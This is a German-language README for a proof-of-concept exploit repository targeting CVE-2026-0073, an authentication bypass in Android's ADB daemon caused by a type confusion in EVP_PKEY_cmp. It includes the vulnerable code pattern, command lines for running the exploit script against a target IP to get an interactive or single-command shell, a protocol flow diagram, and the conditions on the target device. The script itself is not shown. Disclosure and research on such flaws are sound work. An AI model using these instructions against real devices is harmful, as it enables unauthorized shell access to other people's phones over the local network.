
CVE-2026-0073 — Umgehung der TLS-Authentifizierung im Android-ADB-Daemon (adbd) durch Typverwechslung bei EVP_PKEY_cmp. Erlangen Sie unbefugten Shell-Zugriff über WLAN mithilfe von EC/Ed25519-Schlüsselabweichungen. PoC-Exploit für Android 14+.
EVP_PKEY_cmp() Typverwechslung → nicht autorisierte ADB-ShellEine kritische Authentifizierungsumgehung im ADB-Daemon von Android (adbd) ermöglicht es jedem Angreifer im lokalen Netzwerk, ohne Benutzerautorisierung eine vollständige Shell auf einem Zielgerät zu erhalten.
Die Schwachstelle existiert in adbd_tls_verify_cert() innerhalb von daemon/auth.cpp, wo EVP_PKEY_cmp() als boolescher Wert verwendet wird. Wenn der gespeicherte Schlüssel RSA ist und das vorgelegte TLS-Client-Zertifikat einen Nicht-RSA-Schlüssel (EC P-256 oder Ed25519) trägt, gibt EVP_PKEY_cmp() -1 (Typkonflikt) zurück, was in C/C++ wahr ist, sodass authorized = true gesetzt wird.
// Verwundbares Codemuster in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← FEHLER: -1 ist wahr!
authorized = true;
}
pip install cryptography
# Interaktive Shell
python adb_tls_auth_bypass.py <ZIEL_IP> <PORT>
# Einzelne Befehlsausführung
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Ausführlicher Modus (vollständiges Protokoll-Trace anzeigen)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Standardmäßig versucht das Skript automatisch EC P-256 → Ed25519 → EC/TLS 1.2, bis einer erfolgreich ist.
Angreifer Ziel (adbd)
│ │
│──── TCP-Verbindung ───────────────►│
│──── CNXN (Klartext) ──────────────►│
│◄─── STLS (TLS-Upgrade-Anfrage) ───│
│──── STLS-Antwort ─────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 Client-Zertifikat vorgelegt) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 ist wahr → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (Geräteinformationen) ───│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (Shell-I/O) ──────►│
│ │
[VOLLSTÄNDIGER SHELL-ZUGRIFF] │
⚠️ Wichtig: Der RSA-Schlüssel muss in
/data/misc/adb/adb_keysliegen, das über die USB-Debugging-Kopplung (Annehmen des Dialogs „USB-Debugging erlauben?") befüllt wird. Die Kopplung über drahtloses Debugging (adb pair) speichert Schlüssel an einem anderen Ort (adb_known_hosts.pb) und erfüllt diese Anforderung NICHT.
adb shell getprop ro.build.version.security_patch
Getestet und als funktionierend bestätigt auf:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Plattform: Android 14 (Android Studio Emulator)
Dieser Fork enthält mehrere Verbesserungen:
select() für plattformübergreifende Unterstützung-v-FlagCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Haupt-Exploit-Skript
└── README.md # Diese Datei
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Holen Sie immer eine ordnungsgemäße Autorisierung ein, bevor Sie testen. Der Autor übernimmt keine Haftung für Missbrauch dieser Software.
EVP_PKEY_cmp DokumentationWenn dies Ihrer Forschung geholfen hat, hinterlassen Sie einen ⭐
EVP_PKEY_cmp() Rückgabe | Bedeutung | Wahr in C? | Ergebnis |
|---|
1 | Schlüssel stimmen überein | ✅ | Autorisiert (korrekt) |
0 | Schlüssel unterscheiden sich | ❌ | Abgelehnt (korrekt) |
-1 | Typkonflikt | ✅ | Autorisiert (FEHLER) |
| Anforderung |
|---|
| Details |
|---|
| Entwickleroptionen | Auf dem Zielgerät aktiviert |
| Drahtloses Debugging | Aktiviert (oder ADB über TCP auf Port 5555) |
| Gespeicherter RSA-Schlüssel | Gerät muss mindestens einmal per USB gekoppelt worden sein (/data/misc/adb/adb_keys) |
| Netzwerkzugriff | Angreifer muss den adbd-TCP-Port erreichen können |